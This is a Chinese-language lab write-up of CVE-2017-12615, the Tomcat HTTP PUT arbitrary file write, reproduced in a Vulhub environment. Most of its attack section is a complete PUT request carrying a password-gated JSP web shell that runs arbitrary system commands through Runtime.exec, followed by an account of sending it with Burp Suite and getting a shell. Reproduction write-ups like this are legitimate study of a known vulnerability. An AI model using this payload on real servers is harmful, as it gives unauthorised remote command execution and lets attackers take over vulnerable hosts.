Tomcat PUT方法任意文件写入漏洞(CVE-2017-12615)

多积累,等待知识的爆发。加油!
1、漏洞简介
当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。
2、漏洞影响
Apache Tomcat 7.0.0 – 7.0.81

3.漏洞复现
环境搭建:
在Vulhub搭建就好。搭建完进去看一下配置文件里边的这个漏洞的关键点,
readonly确认是false

Tomcat PUT方法任意文件写入漏洞(CVE-2017-12615)_第1张图片
Payload:

PUT /123.jsp/ HTTP/1.1
Host: 靶机ip:8080
User-Agent:  JNTASS
DNT:1
Connection: close
Content-Length: 660

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("
"+excuteCmd(request.getParameter("cmd"))+"
"
);}else{out.println(":-)");}%>

利用burpsuite发送payload
Tomcat PUT方法任意文件写入漏洞(CVE-2017-12615)_第2张图片
看到返回响应码201,说明上传成功了

Tomcat PUT方法任意文件写入漏洞(CVE-2017-12615)_第3张图片
传一个jsp马,
Tomcat PUT方法任意文件写入漏洞(CVE-2017-12615)_第4张图片

成功getshell

Tomcat PUT方法任意文件写入漏洞(CVE-2017-12615)_第5张图片

你可能感兴趣的:(tomcat,安全漏洞)